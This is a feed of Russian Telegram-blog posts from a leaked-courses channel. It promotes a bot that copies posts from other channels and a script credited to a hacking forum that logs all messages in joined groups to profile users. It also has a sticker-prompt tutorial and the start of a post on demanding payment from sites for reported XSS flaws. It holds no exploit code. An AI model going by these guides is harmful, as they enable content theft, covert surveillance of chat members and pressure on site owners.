  &lt;p id=&quot;Wzfv&quot;&gt;Краткое руководство:&lt;br /&gt;1. Запускаем бота&lt;br /&gt;2. Добавляем его в наши каналы &lt;br /&gt;3. Подписываемся на каналы откуда будет воровать посты&lt;br /&gt;4. Пересылаем боту сообщение из нашего донора &lt;br /&gt;5. Настраиваем донора как нам угодно&lt;br /&gt;6. Включаем авто постинг &lt;br /&gt;7. Наблюдаем!&lt;/p&gt;
  &lt;p id=&quot;9VvC&quot;&gt;До каждого донора и канала можно настроить персональные настройки.&lt;/p&gt;
  &lt;figure id=&quot;H5k8&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/32/8f/328f55eb-f1a6-4974-a8bd-f2c4dc834e96.png&quot; width=&quot;2134&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;HJny&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/c4/8b/c48b893d-f97a-4b41-aebe-6608cf2840e3.png&quot; width=&quot;2134&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;opsB&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/69/fe/69fed0b4-f0b5-4dd8-a715-13ac4cef10f5.png&quot; width=&quot;2134&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;76dt&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/9d/0f/9d0f6e95-6833-44c5-856c-a36dba17d522.png&quot; width=&quot;2134&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;4i2B&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/8d/e3/8de34de9-2b9c-4112-b9d7-145d67a0ffd3.png&quot; width=&quot;2134&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;T7BW&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;Jfcy&quot;&gt;&lt;a href=&quot;https://t.me/slivmens&quot; target=&quot;_blank&quot;&gt;Скачать -  https://t.me/slivmens&lt;/a&gt;&lt;/p&gt;

</content></entry><entry><id>slivmens:wnzwz-YCjv4</id><link rel="alternate" type="text/html" href="https://teletype.in/@slivmens/wnzwz-YCjv4?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=slivmens"></link><title>OSINTgram for xss</title><published>2024-02-29T20:01:14.798Z</published><updated>2024-02-29T20:06:28.758Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img1.teletype.in/files/cb/f1/cbf18403-9de1-4edf-a134-651b75914de7.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img4.teletype.in/files/70/f0/70f02d4e-43ed-4626-bd6f-1e51ac1e6790.png&quot;&gt;Простенький скрипт для телеграма.</summary><content type="html">
  &lt;p id=&quot;gcAn&quot;&gt;Простенький скрипт для телеграма.&lt;/p&gt;
  &lt;p id=&quot;G2bG&quot;&gt;&lt;strong&gt;Для чего?&lt;/strong&gt;&lt;br /&gt;Как видим из названия - для OSINT. Это этакий Telegram Search Engine на минималках. (Хотя если у вас 100+ аккаунтов, то можно переплюнуть как TeleSint + TeleScan вместе взятые)&lt;/p&gt;
  &lt;p id=&quot;tQ1c&quot;&gt;&lt;strong&gt;Что может?&lt;/strong&gt;&lt;br /&gt;+ Собирает ВСЕ сообщения со всех групп куда вы вступили. Кто писал, куда писал, что писал и когда писал.&lt;br /&gt;+ Записывает все в БД.&lt;br /&gt;+ Если знакомы со SQL то можете&lt;br /&gt;Производить поиск по ID:&lt;br /&gt;Смотреть в каких чатах был замечен пользователь&lt;br /&gt;Смотреть ВСЕ сообщения одного пользователя&lt;br /&gt;Смотреть все сообщения в группе&lt;br /&gt;Смотреть в каких группах состоит пользователь по ID&lt;/p&gt;
  &lt;p id=&quot;ke9P&quot;&gt;&lt;strong&gt;Что делать?&lt;/strong&gt;&lt;br /&gt;Просто запускаете бота, вступаете в группы со своего (лучше со спецально созданного для этого аккаунта)&lt;/p&gt;
  &lt;p id=&quot;zU2K&quot;&gt;&lt;strong&gt;Какие перспективы для дальнейшего развития?&lt;/strong&gt;&lt;br /&gt;Можно дописать, что бы скачивал все вложения со всех групп.&lt;br /&gt;Уведомления по ключевым словам, например &amp;quot;тел&amp;quot;, &amp;quot;связ&amp;quot;, &amp;quot;mail&amp;quot; и т.д.&lt;br /&gt;Доработка с выдиранием мета-тегов из файлов &amp;quot;на лету&amp;quot;&lt;br /&gt;Да собственно, что угодно. Макет настолько универсален, что кажется возможности безграничны.&lt;/p&gt;
  &lt;p id=&quot;cRIm&quot;&gt;Язык программирования: Python 3+&lt;br /&gt;Зависимости&lt;br /&gt;Python: Скопировать в буфер обмена&lt;/p&gt;
  &lt;pre data-lang=&quot;python&quot; id=&quot;2EsC&quot;&gt;pip install asyncio
pip install telethon -U&lt;/pre&gt;
  &lt;p id=&quot;QhTC&quot;&gt;Структура DB&lt;br /&gt;SQL: Скопировать в буфер обмена&lt;/p&gt;
  &lt;pre data-lang=&quot;sql&quot; id=&quot;cQhM&quot;&gt;CREATE TABLE &amp;quot;messages&amp;quot; (
    &amp;quot;user_id&amp;quot;    INTEGER NOT NULL,
    &amp;quot;channel_id&amp;quot;    INTEGER NOT NULL,
    &amp;quot;message_id&amp;quot;    INTEGER NOT NULL,
    &amp;quot;channel_username&amp;quot;    TEXT NOT NULL,
    &amp;quot;message&amp;quot;    TEXT NOT NULL,
    &amp;quot;timestamp&amp;quot;    INTEGER NOT NULL
);&lt;/pre&gt;
  &lt;p id=&quot;i7Ee&quot;&gt;Получить api_id и api_hash &lt;a href=&quot;https://my.telegram.org/auth&quot; target=&quot;_blank&quot;&gt;тут&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;9LoC&quot;&gt;Автор: &lt;a href=&quot;https://xss.is/members/175645/&quot; target=&quot;_blank&quot;&gt;Guron_18&lt;/a&gt; для xss.is&lt;/p&gt;
  &lt;p id=&quot;ZAKa&quot;&gt;Источник: &lt;a href=&quot;https://xss.is/threads/109307/&quot; target=&quot;_blank&quot;&gt;https://xss.is/threads/109307/&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;6tPK&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;mnaN&quot;&gt;Скачать - &lt;a href=&quot;https://t.me/slivmens&quot; target=&quot;_blank&quot;&gt;https://t.me/slivmens&lt;/a&gt; - &lt;a href=&quot;https://t.me/c/1441750002/3585&quot; target=&quot;_blank&quot;&gt;https://t.me/c/1441750002/3585&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;CCmQ&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;WmYO&quot;&gt;Наш чат - https://t.me/slivmenss_chat&lt;/p&gt;
  &lt;p id=&quot;bR9p&quot;&gt;Слив курсов - https://t.me/slivmens_sklad&lt;/p&gt;
  &lt;p id=&quot;OpDL&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;tbYe&quot;&gt;Скрины:&lt;/p&gt;
  &lt;figure id=&quot;2gtr&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/70/f0/70f02d4e-43ed-4626-bd6f-1e51ac1e6790.png&quot; width=&quot;936&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;dRqZ&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/b5/7a/b57ad5fd-9005-4833-bb22-432dd129e0b9.png&quot; width=&quot;1362&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;wyKd&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/59/54/5954faea-204d-416d-96da-7096e560092c.png&quot; width=&quot;1044&quot; /&gt;
  &lt;/figure&gt;

</content></entry><entry><id>slivmens:qyggg8vXhYj</id><link rel="alternate" type="text/html" href="https://teletype.in/@slivmens/qyggg8vXhYj?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=slivmens"></link><title>Как создать стикеры тг без навыков в дизайне</title><published>2024-02-26T06:52:17.644Z</published><updated>2024-02-26T06:52:17.644Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img3.teletype.in/files/e5/a4/e5a4bafe-0394-42d7-9b86-138c0ff161bc.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img2.teletype.in/files/1c/bb/1cbb4302-68ed-4dda-b5c2-2d276e5bb628.png&quot;&gt;Эта статья - пошаговое пособие как создать уникальный стикер пак в Telegram для (себя / друга / на заказ) при помощи нейросетей.</summary><content type="html">
  &lt;figure id=&quot;me9u&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/1c/bb/1cbb4302-68ed-4dda-b5c2-2d276e5bb628.png&quot; width=&quot;840&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;cmIM&quot;&gt;Эта статья - пошаговое пособие как создать уникальный стикер пак в Telegram для (&lt;strong&gt;себя / друга / на заказ&lt;/strong&gt;) при помощи &lt;a href=&quot;https://t.me/GPT35bot?start=5564446233&quot; target=&quot;_blank&quot;&gt;нейросетей&lt;/a&gt;.&lt;/p&gt;
  &lt;h4 id=&quot;Введение&quot;&gt;Введение&lt;/h4&gt;
  &lt;p id=&quot;saqC&quot;&gt;Одним из решений было заказать стикеры у иллюстратора, но цены от 2500 до 6000 руб нас не сильно обрадовали.&lt;/p&gt;
  &lt;p id=&quot;4hhL&quot;&gt;Так мы пришли к тому, что будем делать все через нейронку Dalle-3, с HD модулем, которая более вдумчиво генерирует изображения.&lt;/p&gt;
  &lt;p id=&quot;siLv&quot;&gt;Ну и раз этот путь был пройден, то почему и не написать краткое руководство от А до Я и дать примеры текстовых запросов, чтобы и вы могли с легкостью создать что-то уникальное!&lt;/p&gt;
  &lt;h4 id=&quot;Подготовительная-часть&quot;&gt;Подготовительная часть&lt;/h4&gt;
  &lt;p id=&quot;jmzk&quot;&gt;Для генерации Dalle-3 и ChatGPT используется бот &lt;a href=&quot;https://t.me/GPT35bot?start=5564446233&quot; target=&quot;_blank&quot;&gt;@GPT35bot&lt;/a&gt;.&lt;/p&gt;
  &lt;p id=&quot;Uu5l&quot;&gt;При генерации изображений обязательно выбирайте «🗃️ Файл» , «HD» и «&lt;strong&gt;1024х1024&lt;/strong&gt;», в ином случае вы не получите достойный результат!&lt;/p&gt;
  &lt;h4 id=&quot;Основная-часть&quot;&gt;Основная часть&lt;/h4&gt;
  &lt;p id=&quot;D5Hq&quot;&gt;Начнем с подготовки запроса для персонажа. На этом этапе нам не нужны позы и эмоции, нам нужно зажать генерацию в рамки и каждый раз получать плюс минус одинаковый результат.&lt;/p&gt;
  &lt;p id=&quot;j1pz&quot;&gt;&lt;em&gt;Наш персонаж — это человекоподобный круг, основанный на моём аватаре.&lt;/em&gt;&lt;/p&gt;
  &lt;figure id=&quot;eYkj&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/e6/9e/e69e45d5-b14b-4b43-a344-412e2b14d98e.png&quot; width=&quot;660&quot; /&gt;
    &lt;figcaption&gt;logo и старый стикерпак&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;pbGE&quot;&gt;Было бы куда проще если персонаж изначально был животным, человеком или предметом, а не антропоморфный круг.&lt;/p&gt;
  &lt;p id=&quot;EXKs&quot;&gt;Для данного персонажа был подобран следующий запрос.&lt;/p&gt;
  &lt;blockquote id=&quot;4F2h&quot;&gt;Запрос для Dalle-3 HD&lt;/blockquote&gt;
  &lt;blockquote id=&quot;oiPh&quot;&gt;Стилизованный, антропоморфный персонаж, крутой персонаж, состоящий из белого круга с жирной черной обводкой. У него есть черные руки и ноги, носит солнцезащитные очки и красные кеды.&lt;/blockquote&gt;
  &lt;p id=&quot;tObU&quot;&gt;Dalle плохо понимает концепцию круга в круге и пытается нарисовать мишень, было решено использовать круг как основу.&lt;/p&gt;
  &lt;figure id=&quot;byXc&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/c9/d9/c9d99989-4cbf-4b52-a5dc-ef7aa5514a67.png&quot; width=&quot;4096&quot; /&gt;
    &lt;figcaption&gt;пример генераций&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Cw7A&quot;&gt;Отлично, мы зажали Dalle в рамки и теперь она выдает одинаковый результат.&lt;/p&gt;
  &lt;p id=&quot;PDBe&quot;&gt;Теперь нам нужно придумать позы и эмоции для персонажа:&lt;/p&gt;
  &lt;blockquote id=&quot;CWVP&quot;&gt;Запрос для ChatGPT&lt;/blockquote&gt;
  &lt;blockquote id=&quot;uC7y&quot;&gt;Нам нужно создать 12 стикеров для телеграмм с нашим персонажем, придумай 12 поз и эмоций который могут быть использованы в стикер паке.&lt;/blockquote&gt;
  &lt;p id=&quot;KTxR&quot;&gt;В дальнейшем можем опираться на полученный список.&lt;/p&gt;
  &lt;p id=&quot;XdFT&quot;&gt;&lt;strong&gt;1. Радость&lt;/strong&gt;&lt;em&gt; - персонаж с широкой улыбкой, обнимает самого себя, глаза сияют.&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;qwWc&quot;&gt;&lt;em&gt;2. &lt;/em&gt;&lt;strong&gt;Смех &lt;/strong&gt;&lt;em&gt;- персонаж с открытым ртом, наклонен головой назад, видны зубы, руки держат живот.&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;q4MC&quot;&gt;&lt;em&gt;3. &lt;/em&gt;&lt;strong&gt;Сюрприз &lt;/strong&gt;&lt;em&gt;- персонаж с широко открытыми глазами и ртом, руки у щек.&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;Oocu&quot;&gt;&lt;em&gt;4. &lt;/em&gt;&lt;strong&gt;Сердитость &lt;/strong&gt;&lt;em&gt;- недовольный персонаж с нахмуренными бровями и сжатыми губами, руки скрещены на груди.&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;SvBG&quot;&gt;&lt;em&gt;5. &lt;/em&gt;&lt;strong&gt;Плач/грусть&lt;/strong&gt;&lt;em&gt; - персонаж с грустным лицом, слёзы на глазах, рука у wiping away a tear.&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;P9NG&quot;&gt;&lt;em&gt;6. &lt;/em&gt;&lt;strong&gt;Влюблённость &lt;/strong&gt;&lt;em&gt;- персонаж с сердечками в глазах, руки на сердце и слегка покрасневшие щеки.&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;RmQo&quot;&gt;&lt;em&gt;7. &lt;/em&gt;&lt;strong&gt;Испуг&lt;/strong&gt;&lt;em&gt; - персонаж с пристальным, испуганным взглядом, руки у лица, как будто пытается защитить себя.&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;WYVO&quot;&gt;&lt;em&gt;8. &lt;/em&gt;&lt;strong&gt;Задумчивость &lt;/strong&gt;&lt;em&gt;- персонаж с руки под подбородком, глаза смотрят вверх или в сторону.&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;fiY2&quot;&gt;&lt;em&gt;9. &lt;/em&gt;&lt;strong&gt;Усталость/сонливость&lt;/strong&gt;&lt;em&gt; - персонаж с полузакрытыми глазами, зевает, руки растянуты вверх или висят без сил.&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;1UuK&quot;&gt;&lt;em&gt;10. &lt;/em&gt;&lt;strong&gt;Празднование &lt;/strong&gt;&lt;em&gt;- весёлый персонаж с поднятыми вверх руками, могут быть конфетти или взлетающий шарик.&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;ljLS&quot;&gt;&lt;em&gt;11. &lt;/em&gt;&lt;strong&gt;Клоун &lt;/strong&gt;&lt;em&gt;- персонаж с клоунской рожицей, показывает длинный язык и моргает одним глазом.&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;HBJK&quot;&gt;&lt;em&gt;12. &lt;/em&gt;&lt;strong&gt;Спокойствие/релакс&lt;/strong&gt;&lt;em&gt; - персонаж с закрытыми глазами и мирным выражением лица, руки за головой или в позе лотоса.&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;iKmQ&quot;&gt;Остается самое простое - генерация картинок для будущего пака.&lt;/p&gt;
  &lt;p id=&quot;tFyw&quot;&gt;Правим запрос с учетом позы персонажа и добавляем информацию, что это стикер на черном фоне.&lt;/p&gt;
  &lt;blockquote id=&quot;o6lk&quot;&gt;Обновленный запрос для Dalle-3 HD&lt;/blockquote&gt;
  &lt;blockquote id=&quot;SufV&quot;&gt;стилизованный, антропоморфный персонаж, крутой персонаж, состоящий из белого круга с жирной черной обводкой. У него есть черные руки и ноги, носит солнцезащитные очки и красные кеды.&lt;br /&gt;&lt;br /&gt;Персонаж показывает лайк.&lt;br /&gt;&lt;br /&gt;Фон абсолютно черный, вокруг персонажа есть не большая белая обводка, это стикер для Телеграм&lt;/blockquote&gt;
  &lt;figure id=&quot;tuTk&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/e1/b5/e1b53a41-3e74-4fc8-a9df-40d7cdc58de3.png&quot; width=&quot;4096&quot; /&gt;
    &lt;figcaption&gt;пример генерации с обновленным запросом и использованием поз и эмоций&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;an5H&quot;&gt;&lt;a href=&quot;https://teletype.in/@slivmens/Z-j6Hlz8yf6&quot; target=&quot;_blank&quot;&gt;Полный список всех запросов&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;n75D&quot;&gt;В среднем на 1 стикер уходит от 1 до 5 генераций, все зависит от ваших идей!&lt;/p&gt;
  &lt;blockquote id=&quot;2lY5&quot;&gt;В моем случае еще требовалась пост обработка в виде красных кругов.&lt;/blockquote&gt;
  &lt;p id=&quot;nGJz&quot;&gt;Сжимаем изображение до разрешения &lt;strong&gt;512&lt;/strong&gt;х&lt;strong&gt;512 px. &lt;/strong&gt;и вырезаем черный фон используя любой графический редактор нп. &lt;a href=&quot;https://www.adobe.com/ru/products/photoshop.html&quot; target=&quot;_blank&quot;&gt;PS&lt;/a&gt;/&lt;a href=&quot;https://getpaint.net/&quot; target=&quot;_blank&quot;&gt;PaintNET&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;zZU9&quot;&gt;(&lt;em&gt;можно использовать бесплатные сервисы&lt;/em&gt;)&lt;/p&gt;
  &lt;p id=&quot;ebIb&quot;&gt;&lt;a href=&quot;https://www.adobe.com/express/feature/image/resize/png&quot; target=&quot;_blank&quot;&gt;Adobe Express - PNG Resize&lt;/a&gt; и &lt;a href=&quot;https://www.adobe.com/express/feature/image/remove-background&quot; target=&quot;_blank&quot;&gt;Adobe Express - background remover&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;9aC6&quot;&gt;Открываем &lt;a href=&quot;https://t.me/Stickers&quot; target=&quot;_blank&quot;&gt;@Stickers&lt;/a&gt;, нажимаем /newpack и следуя инструкциям, загружаем свои стикеры.&lt;/p&gt;
  &lt;p id=&quot;zbhu&quot;&gt;По итогу получаем отличный результат:&lt;/p&gt;
  &lt;figure id=&quot;6MrJ&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/4e/d9/4ed9e5c4-0aa3-42c4-a432-341183f6e01d.png&quot; width=&quot;629&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;2o6e&quot;&gt;Надеюсь, данная статья поможет создать вам свой стикер пак или заработать на их создании)&lt;/p&gt;
  &lt;p id=&quot;IsYY&quot;&gt;Ссылка на канал - https://t.me/slivmens&lt;/p&gt;
  &lt;p id=&quot;iwR9&quot;&gt;Наш чат - https://t.me/slivmenss_chat&lt;/p&gt;
  &lt;p id=&quot;6wqx&quot;&gt;Слив курсов - &lt;a href=&quot;https://t.me/slivmens_sklad&quot; target=&quot;_blank&quot;&gt;https://t.me/slivmens_sklad&lt;/a&gt;&lt;/p&gt;

</content></entry><entry><id>slivmens:Z-j6Hlz8yf6</id><link rel="alternate" type="text/html" href="https://teletype.in/@slivmens/Z-j6Hlz8yf6?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=slivmens"></link><title>Полный список всех запросов</title><published>2024-02-26T06:49:56.177Z</published><updated>2024-02-26T06:49:56.177Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img1.teletype.in/files/04/77/04770fac-817f-4c70-9596-982b59f5a9d0.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://telegra.ph/file/4f25d84c483b7f6bfb276.png&quot;&gt;стилизованный, антропоморфный персонаж, персонаж является крутым, состоящий из белого круга с жирной черной обводкой У него есть черные руки и ноги, носит солнцезащитные очки и красные кеды</summary><content type="html">
  &lt;figure id=&quot;4Joc&quot; class=&quot;m_retina&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/4f25d84c483b7f6bfb276.png&quot; width=&quot;512&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;WpfF&quot;&gt;стилизованный, антропоморфный персонаж, персонаж является крутым, состоящий из белого круга с жирной черной обводкой У него есть черные руки и ноги, носит солнцезащитные очки и красные кеды&lt;/p&gt;
  &lt;p id=&quot;ZAyE&quot;&gt;Персонаж держит график криптовалюты который устремляется ввысь&lt;/p&gt;
  &lt;p id=&quot;lrzU&quot;&gt;фон абсолютно черный, вокруг персонажа есть не большая белая обводка, это стикер для теоеграм&lt;/p&gt;
  &lt;figure id=&quot;6Ujn&quot; class=&quot;m_retina&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/004fbd375648795ef473a.png&quot; width=&quot;512&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;J0hO&quot;&gt;стилизованный, антропоморфный персонаж, персонаж является крутым, состоящий из белого круга с жирной черной обводкой У него есть черные руки и ноги, носит солнцезащитные очки и красные кеды, на голове кепка макдональдса&lt;/p&gt;
  &lt;p id=&quot;4iVI&quot;&gt;Персонаж держит красный график криптовалюты, график падает, падение криптовалюты, грустно&lt;/p&gt;
  &lt;p id=&quot;TDfL&quot;&gt;фон абсолютно черный, вокруг персонажа есть не большая белая обводка, это стикер для телеграм&lt;/p&gt;
  &lt;figure id=&quot;k9dS&quot; class=&quot;m_retina&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/753d7e5a2bf675b20925e.png&quot; width=&quot;512&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;GTwG&quot;&gt;стилизованный, антропоморфный персонаж, персонаж является крутым, состоящий из белого круга с жирной черной обводкой У него есть черные руки и ноги, носит солнцезащитные очки и красные кеды&lt;br /&gt;&lt;br /&gt;Персонаж показывает лайк&lt;br /&gt;&lt;br /&gt;фон абсолютно черный, вокруг персонажа есть не большая белая обводка, это стикер для телеграм&lt;/p&gt;
  &lt;figure id=&quot;zlOy&quot; class=&quot;m_retina&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/5a42b986ab608b91968d9.png&quot; width=&quot;512&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;wCiY&quot;&gt;стилизованный, антропоморфный персонаж, персонаж является крутым, состоящий из белого круга с жирной черной обводкой У него есть черные руки и ноги, носит солнцезащитные очки и красные кеды&lt;br /&gt;&lt;br /&gt;Персонаж с ноутбуком&lt;br /&gt;&lt;br /&gt;фон абсолютно черный, вокруг персонажа есть не большая белая обводка, это стикер для телеграм&lt;/p&gt;
  &lt;figure id=&quot;OjeK&quot; class=&quot;m_retina&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/6f11fd430765393d24841.png&quot; width=&quot;512&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;WhEa&quot;&gt;стилизованный, антропоморфный персонаж, персонаж является крутым, состоящий из белого круга с жирной черной обводкой У него есть черные руки и ноги&lt;br /&gt;&lt;br /&gt;Персонаж спит под одеялком&lt;br /&gt;&lt;br /&gt;фон абсолютно черный, вокруг персонажа есть не большая белая обводка, это стикер для телеграм&lt;/p&gt;
  &lt;figure id=&quot;FPyl&quot; class=&quot;m_retina&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/5ab402d2378a806939c59.png&quot; width=&quot;512&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;uzee&quot;&gt;стилизованный, антропоморфный персонаж, персонаж является крутым, состоящий из белого круга с жирной черной обводкой У него есть черные руки и ноги, носит солнцезащитные очки и красные кеды, на голове военна каска&lt;br /&gt;&lt;br /&gt;Персонаж сложил руки в зловещую позу, на заднем фоне взрывы и ракеты&lt;br /&gt;&lt;br /&gt;фон абсолютно черный, вокруг персонажа есть не большая белая обводка, это стикер для телеграм&lt;/p&gt;
  &lt;figure id=&quot;YQMq&quot; class=&quot;m_retina&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/0186388dafebc7513ae5f.png&quot; width=&quot;512&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;6IWt&quot;&gt;стилизованный, антропоморфный персонаж, персонаж является крутым, состоящий из белого круга с жирной черной обводкой У него есть черные руки и ноги, носит солнцезащитные очки и красные кеды&lt;br /&gt;&lt;br /&gt;Персонаж с веревкой на шее повис на елке и делает вид что умер&lt;br /&gt;&lt;br /&gt;фон абсолютно черный, вокруг персонажа есть не большая белая обводка, это стикер для телеграм&lt;/p&gt;
  &lt;figure id=&quot;Z6O3&quot; class=&quot;m_retina&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/fb5ed4aef87a1205f5199.png&quot; width=&quot;512&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;YMox&quot;&gt;стилизованный, антропоморфный персонаж, персонаж является крутым, состоящий из белого круга с жирной черной обводкой У него есть черные руки и ноги, носит солнцезащитные очки и красные кеды&lt;br /&gt;&lt;br /&gt;Персонаж притворился мертвым, лежит на полу,очки разбиты, глаза крестики, надпись над персонажем Потрачено&lt;br /&gt;&lt;br /&gt;фон абсолютно черный, вокруг персонажа есть не большая белая обводка, это стикер для телеграм&lt;/p&gt;
  &lt;figure id=&quot;SRkb&quot; class=&quot;m_retina&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/0e32a21c8a0d648dd7540.png&quot; width=&quot;512&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;lvD2&quot;&gt;стилизованный, антропоморфный персонаж, персонаж является крутым, состоящий из белого круга с жирной черной обводкой У него есть черные руки и ноги&lt;br /&gt;&lt;br /&gt;Персонаж полностью укутался в плед и смотрит с удивлением в даль, видно только лицо&lt;br /&gt;&lt;br /&gt;фон абсолютно черный, вокруг персонажа есть не большая белая обводка, это стикер для телеграм&lt;/p&gt;
  &lt;figure id=&quot;WvS6&quot; class=&quot;m_retina&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/2ab6c71dcad4c09b409f6.png&quot; width=&quot;512&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;iXqZ&quot;&gt;стилизованный, антропоморфный персонаж, персонаж является крутым, состоящий из белого круга с жирной черной обводкой У него есть черные руки и ноги, носит солнцезащитные очки и красные кеды&lt;br /&gt;&lt;br /&gt;Персонаж разбивает ногой сообщение с спектрограммой и синей кнопкой плей&lt;br /&gt;&lt;br /&gt;фон абсолютно черный, вокруг персонажа есть не большая белая обводка, это стикер для телеграм&lt;/p&gt;
  &lt;figure id=&quot;noLX&quot; class=&quot;m_retina&quot;&gt;
    &lt;img src=&quot;https://telegra.ph/file/ecae8e410f8272cceddd6.png&quot; width=&quot;512&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;UNs7&quot;&gt;стилизованный, антропоморфный персонаж, персонаж является крутым, состоящий из белого круга с жирной черной обводкой У него есть черные руки и ноги, носит солнцезащитные очки и красные кеды&lt;br /&gt;&lt;br /&gt;Персонаж разбивает ногой сообщение с спектрограммой и синей кнопкой плей&lt;br /&gt;&lt;br /&gt;фон абсолютно черный, вокруг персонажа есть не большая белая обводка, это стикер для телеграм&lt;/p&gt;

</content></entry><entry><id>slivmens:MCIJYB3yzP3</id><link rel="alternate" type="text/html" href="https://teletype.in/@slivmens/MCIJYB3yzP3?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=slivmens"></link><title>Зарабатываем на XSS уязвимости</title><published>2024-02-17T20:45:53.488Z</published><updated>2024-02-17T20:45:53.488Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img3.teletype.in/files/26/e1/26e13989-98e6-45de-b923-235d7145556c.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img1.teletype.in/files/08/68/0868089c-9b9f-402f-a519-3aa7fad6538a.png&quot;&gt;И так, зарабатывать мы с вами будем на поиске XSS уязвимости на сайтах.</summary><content type="html">
  &lt;p id=&quot;zdef&quot;&gt;И так, зарабатывать мы с вами будем на поиске XSS уязвимости на сайтах.&lt;/p&gt;
  &lt;p id=&quot;q9yc&quot;&gt;Алгоритм работы:&lt;/p&gt;
  &lt;p id=&quot;hTQF&quot;&gt;1. Ищем сайт с XSS уязвимостью&lt;/p&gt;
  &lt;p id=&quot;A7WK&quot;&gt;2. Связываемся с поддержкой сайта&lt;/p&gt;
  &lt;p id=&quot;6f6p&quot;&gt;3. Просим у них деньги за обнаружение уязвимости&lt;/p&gt;
  &lt;p id=&quot;yoQD&quot;&gt;Для начала вам необходимо ознакомиться с тем, что такое XSS уязвимость​&lt;/p&gt;
  &lt;p id=&quot;8My0&quot;&gt;XSS (Cross-Site Scripting) - уязвимость позволяющая вам выполнять свой JS (JavaScript) код на чужом сайте, за счёт чего вы можете взламывать его пользователей, красть их данные, подменять код сайта и многое другое))&lt;/p&gt;
